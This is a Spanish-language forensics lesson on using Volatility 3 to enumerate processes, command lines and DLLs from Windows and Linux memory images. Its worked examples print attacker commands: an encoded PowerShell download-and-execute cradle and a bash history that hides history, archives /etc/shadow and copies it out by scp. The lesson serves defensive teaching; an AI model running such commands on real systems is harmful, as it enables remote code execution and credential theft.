Memoria y datos volátiles · Lección 2 de 4
Volatility 3: procesos, líneas de comandos y DLL
12 min de lectura
La lección 5.1 mostró cómo capturar la memoria; esta lección muestra cómo leer los procesos que contiene. Con Volatility 3 puede enumerar lo que estaba en ejecución, reconstruir qué proceso inició a cuál, recuperar líneas de comandos y módulos cargados, y detectar procesos que un rootkit ha ocultado. Los complementos de Windows y sus equivalentes de Linux se enseñan en paralelo, porque el examen práctico CFX utiliza una captura de memoria de Linux, mientras que la Parte A también incluye preguntas sobre la memoria de Windows.
Fundamentos de Volatility 3
Volatility 3 es un entorno de trabajo de código abierto escrito en Python 3. Una vez instalado con pip, se invoca como vol -f <image> <plugin>; desde una copia del código fuente, el equivalente es python3 vol.py -f <image> <plugin>. Los complementos se nombran según el sistema operativo: windows.pslist, linux.pslist, mac.pslist. Las opciones globales van antes del nombre del complemento y las opciones del complemento después, por ejemplo, vol -f mem.raw -r csv windows.pslist --pid 6120.
Para interpretar la memoria en bruto como estructuras, por ejemplo, un registro de proceso, Volatility necesita una tabla de símbolos: la disposición y las direcciones del núcleo para esa compilación exacta del núcleo, almacenadas en un archivo JSON ISF (formato intermedio de símbolos).
- Windows. Volatility encuentra el registro de depuración del núcleo, lee su nombre de PDB (base de datos de programa) y su GUID, descarga el PDB correspondiente del servidor público de símbolos de Microsoft, lo convierte a ISF y lo almacena en caché. Esto requiere acceso a Internet la primera vez; en una estación de análisis sin conexión, cargue previamente la caché o coloque el paquete de símbolos de Windows publicado por la Volatility Foundation, como archivo zip, en
volatility3/symbols. - Linux y macOS. No se descarga nada de forma predeterminada. Debe colocar un archivo ISF correspondiente en
volatility3/symbols(o en un directorio indicado mediante--symbol-dirs). Para Linux se genera condwarf2jsona partir de un núcleo con información de depuración y su System.map, por ejemplo,dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-6.1.0-18-amd64 --system-map /boot/System.map-6.1.0-18-amd64 > debian-6.1.0-18.json. En Debian, el núcleo de depuración procede del paquetelinux-image-6.1.0-18-amd64-dbg.
Identifique el sistema antes de cualquier otra cosa. windows.info informa de la dirección base del núcleo, la dirección base de la tabla de directorios, si la imagen es de 64 bits, la compilación (NtMajorVersion, NtMinorVersion, NTBuildLab) y el valor de SystemTime en el momento de la captura. Para Linux, banners.Banners busca la cadena de identificación del núcleo, como Linux version 6.1.0-18-amd64 (debian-kernel@lists.debian.org) ... Debian 6.1.76-1; el ISF debe corresponder a esa versión exacta, o los complementos fallarán o devolverán datos sin sentido.
De forma predeterminada, la salida se muestra en pantalla como una tabla. -r csv y -r json (también jsonl) generan una salida legible por máquina para hojas de cálculo y líneas de tiempo; -o <dir> establece dónde se escriben los archivos extraídos. Volatility muestra las horas en UTC.
Enumeración de procesos en Windows
Un proceso de Windows se representa en el núcleo mediante una estructura EPROCESS. Tres complementos examinan estas estructuras de distintas maneras.
| Complemento | Método | Encuentra | No detecta |
|---|---|---|---|
windows.pslist | Recorre la lista doblemente enlazada desde PsActiveProcessHead, pasando por cada EPROCESS.ActiveProcessLinks | Procesos activos en el momento de la captura | Procesos desenlazados (ocultos) y terminados |
windows.psscan | Examina la memoria física en busca de asignaciones de EPROCESS en el pool (etiqueta de pool Proc) | Procesos activos, terminados y desenlazados | Ninguno de los de la lista, pero puede mostrar restos obsoletos |
windows.pstree | Organiza la lista de procesos por PID del padre | Relaciones padre-hijo | Lo mismo que pslist |
Los campos clave son PID y PPID (PID del padre); ImageFileName, un campo de 15 bytes en EPROCESS, por lo que los nombres largos se recortan a 14 caracteres (ApplicationFrameHost.exe aparece como ApplicationFra); CreateTime y ExitTime en UTC; Threads y Handles; SessionId (0 para servicios, 1 o superior para inicios de sesión interactivos); y Wow64 (True para un proceso de 32 bits en Windows de 64 bits).
Detección de ocultamiento. Un rootkit puede desenlazar su EPROCESS de ActiveProcessLinks mediante la manipulación directa de objetos del núcleo (DKOM). El proceso sigue ejecutándose, porque el planificador trabaja con hilos, no con esa lista, pero desaparece de pslist y del Administrador de tareas. Compare los PID de pslist y psscan: un proceso que aparece en psscan sin ExitTime y que pslist no muestra merece un examen minucioso. Una entrada de psscan con ExitTime suele ser simplemente un proceso que terminó.
Cómo es un árbol normal de Windows
En Windows 10 y 11, la cadena de arranque es estable:
- System (PID 4) inicia smss.exe. El administrador de sesiones crea una copia temporal de sí mismo por sesión, que inicia csrss.exe y wininit.exe en la sesión 0, y csrss.exe y winlogon.exe en la sesión 1, y después termina. Por tanto, su PPID no corresponde a ningún proceso en ejecución; esto es normal.
- wininit.exe inicia services.exe y lsass.exe. Hay exactamente uno de cada uno.
- services.exe es el padre de todos los svchost.exe, cada uno iniciado con
-k <group>(a menudo también con-p -s <service>). - winlogon.exe inicia userinit.exe, que inicia explorer.exe y termina, de modo que explorer.exe también tiene un PPID huérfano. Los programas del usuario son hijos de explorer.exe.
Anomalías que debe buscar: un proceso del sistema con el padre incorrecto (lsass.exe que no dependa de wininit.exe, svchost.exe que no dependa de services.exe); un segundo lsass.exe; nombres parecidos como scvhost.exe o lsas.exe; un binario del sistema fuera de C:\Windows\System32; svchost.exe sin -k; y aplicaciones de Office, navegadores o lectores de PDF que inicien intérpretes de comandos. Los PID se reutilizan, así que compruebe siempre que el CreateTime del padre sea anterior al del hijo.
Líneas de comandos, DLL y contexto del proceso
windows.cmdlinemuestra la línea de comandos del PEB del proceso (bloque de entorno del proceso, en el espacio de usuario) medianteProcessParameters. Un proceso puede sobrescribir su propio PEB, así que considérelo una fuente sólida, pero no inmune a la manipulación, y prevea errores de «inaccesible (intercambiada)» o «no válida» cuando la página no esté en la imagen.windows.dlllistenumera los módulos de la lista del cargador del PEB, con su dirección base, tamaño, ruta completa y hora de carga. Proporciona la ruta completa que ImageFileName no puede ofrecer.windows.ldrmodulescompara las tres listas del PEB (InLoadOrder, InInitializationOrder, InMemoryOrder) con los VAD (descriptores de direcciones virtuales, el registro del núcleo de la memoria mapeada). Una DLL mapeada en un VAD pero con False en las tres listas fue desenlazada para ocultarla. El ejecutable principal normalmente tiene False solo en InInit. Desde 2025, este complemento se encuentra enwindows.malware.ldrmodules; el nombre corto sigue funcionando como alias obsoleto.windows.envarsmuestra las variables de entorno (por ejemplo,TEMP,USERNAME);windows.getsidsmuestra los SID del token del proceso, que vinculan un proceso con una cuenta;windows.privilegesmuestra los privilegios del token, entre los que destaca unSeDebugPrivilegehabilitado en un proceso inesperado.windows.pslist --pid 6120 --dumpescribe el ejecutable del proceso en disco, ywindows.dumpfiles --pid 6120extrae objetos de archivo almacenados en la caché de memoria. Un PE extraído se reconstruye a partir de la memoria y, por lo general, su hash no coincide con el del archivo en disco; calcule el hash de la copia en disco para identificarlo.
Ejemplo resuelto: Word inicia PowerShell
windows.pstree en una imagen de Windows 11, simplificado:
| Proceso | PID | PPID | Sesión | CreateTime (UTC) |
|---|---|---|---|---|
| System | 4 | 0 | N/A | 2026-03-12T07:58:11Z |
| . smss.exe | 368 | 4 | N/A | 2026-03-12T07:58:11Z |
| wininit.exe | 552 | 460 | 0 | 2026-03-12T07:58:14Z |
| . services.exe | 696 | 552 | 0 | 2026-03-12T07:58:14Z |
| . lsass.exe | 704 | 552 | 0 | 2026-03-12T07:58:14Z |
| explorer.exe | 3172 | 3140 | 1 | 2026-03-12T08:01:52Z |
| . WINWORD.EXE | 4388 | 3172 | 1 | 2026-03-12T09:38:02Z |
| .. powershell.exe | 6120 | 4388 | 1 | 2026-03-12T09:41:27Z |
windows.cmdline --pid 6120 devuelve powershell -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMgAwADMALgAwAC4AMQAxADMALgA1ADAALwBhAC4AcABzADEAJwApAA==.
Interpretación de las opciones. -nop es -NoProfile, -w hidden es -WindowStyle Hidden (sin ventana visible) y -enc es -EncodedCommand, que recibe texto UTF-16LE codificado en Base64.
Decodificación. La cadena tiene 200 caracteres Base64 y termina en ==: 200 ÷ 4 × 3 = 150 bytes, menos 2 por el relleno, da 148 bytes. Aquí UTF-16LE utiliza 2 bytes por carácter, por lo que el comando tiene 148 ÷ 2 = 74 caracteres. Los primeros 8 caracteres, SQBFAFgA, se decodifican en los bytes 49 00 45 00 58 00, que son I, E, X. El texto completo es IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.50/a.ps1'): descarga un script y lo ejecuta en memoria con Invoke-Expression, sin escribirlo en disco.
Por qué importa el padre. Word no inicia PowerShell durante el uso normal. Un intérprete de comandos hijo de WINWORD.EXE apunta a una macro maliciosa o a la explotación de una vulnerabilidad mediante un documento. El CreateTime del padre (09:38:02Z) es 3 minutos y 25 segundos anterior al del hijo (09:41:27Z), por lo que el PPID no se ha reutilizado. Pasos siguientes: windows.dlllist --pid 4388 para ver si se cargó el motor de VBA VBE7.DLL, windows.getsids --pid 6120 para conocer la cuenta, y los complementos de red de la lección 5.3 para buscar una conexión a 203.0.113.50.
Equivalentes en Linux
El núcleo de Linux representa cada tarea mediante una task_struct. linux.pslist recorre la lista de tareas, linux.pstree muestra los padres y, en versiones recientes de Volatility 3, linux.psscan examina la memoria en busca de estructuras de tareas, por lo que la comparación entre pslist y psscan también funciona en Linux. El nombre del proceso (comm) ocupa 16 bytes, por lo que admite un máximo de 15 caracteres. linux.psaux muestra la lista completa de argumentos desde la memoria del proceso y, al igual que el PEB, puede ser alterada por el proceso. linux.lsof enumera los descriptores de archivo abiertos, linux.elfs enumera los archivos ELF mapeados, linux.proc.Maps enumera las regiones de memoria y los archivos que las respaldan, y linux.envars, en versiones recientes, muestra las variables de entorno.
linux.bash suele ser el complemento más valioso de Linux. Bash mantiene su lista de historial en el heap del proceso y escribe en ~/.bash_history solo cuando termina el intérprete de comandos, por lo que se recuperan comandos incluso cuando el atacante ejecutó unset HISTFILE o eliminó el archivo. Cada entrada lleva una marca de tiempo, almacenada en memoria como una cadena del tipo #1773309820. El complemento no encuentra nada para los intérpretes de comandos que ya habían terminado.
Ejemplo resuelto. En un servidor Debian 12, linux.psaux muestra el PID 2214 como -bash (un intérprete de comandos de inicio de sesión) bajo una sesión de sshd, y linux.pslist, en versiones recientes, muestra el UID 0 (root) para ese proceso. linux.bash --pid 2214 devuelve:
| PID | Proceso | CommandTime (UTC) | Comando |
|---|---|---|---|
| 2214 | bash | 2026-03-12T10:02:09Z | unset HISTFILE |
| 2214 | bash | 2026-03-12T10:02:58Z | tar czf /tmp/.x.tgz /etc/shadow /var/www/html/config.php |
| 2214 | bash | 2026-03-12T10:03:40Z | scp /tmp/.x.tgz backup@198.51.100.23:/srv/in/ |
| 2214 | bash | 2026-03-12T10:04:12Z | rm /tmp/.x.tgz |
Para comprobar la hora de scp: 1.773.309.820 − 1.773.273.600 (2026-03-12T00:00:00Z) = 36.220 s = 10 h 3 min 40 s, por tanto, 2026-03-12T10:03:40Z. Como se eliminó la variable HISTFILE, /root/.bash_history en disco no contendrá estos comandos; la memoria es el único registro.
Elección del complemento
| Pregunta | Complemento de Windows | Complemento de Linux |
|---|---|---|
| ¿Qué sistema operativo y compilación del núcleo? | windows.info | banners.Banners |
| ¿Qué estaba en ejecución? | windows.pslist | linux.pslist |
| ¿Procesos ocultos o terminados? | windows.psscan | linux.psscan (versiones recientes) |
| ¿Qué proceso inició a cuál? | windows.pstree | linux.pstree |
| ¿Línea de comandos completa? | windows.cmdline | linux.psaux |
| ¿Bibliotecas cargadas o archivos mapeados? | windows.dlllist, windows.ldrmodules | linux.elfs, linux.proc.Maps |
| ¿Archivos abiertos? | windows.handles (lección 5.3) | linux.lsof |
| ¿Variables de entorno? | windows.envars | linux.envars (versiones recientes) |
| ¿Comandos introducidos por el usuario? | windows.consoles, windows.cmdscan (versiones recientes) | linux.bash |
Enfoque del examen: Prepárese para indicar valores exactos de una captura de Linux: un PID, un PID del padre, una línea de comandos delinux.psauxo un comando y su hora UTC delinux.bash. La Parte A puede preguntar por qué psscan encuentra un proceso que pslist no muestra, cuál es el padre normal de lsass.exe o svchost.exe, cómo decodificar-enc(Base64 de UTF-16LE) y por qué el análisis de Linux falla sin un ISF correspondiente.
Puntos clave
- Volatility 3 necesita una tabla de símbolos: los PDB de Windows se obtienen del servidor de símbolos de Microsoft mediante el GUID, mientras que Linux y macOS necesitan un ISF generado con dwarf2json para el núcleo exacto.
- pslist recorre la lista de procesos activos; psscan busca estructuras y también encuentra procesos terminados y desenlazados, por lo que una diferencia entre ambos puede revelar ocultamiento mediante DKOM.
- Conozca el árbol normal: un lsass.exe bajo wininit.exe, svchost.exe bajo services.exe con
-k, explorer.exe con un PPID huérfano; un intérprete de comandos bajo una aplicación de Office es un indicio sólido. - Las líneas de comandos (
windows.cmdline,linux.psaux) proceden de memoria del espacio de usuario que el proceso puede alterar; corrobórelas con otras fuentes. linux.bashrecupera comandos con marcas de tiempo de procesos bash activos, incluso cuando se eliminó la variable HISTFILE o se borró el archivo de historial.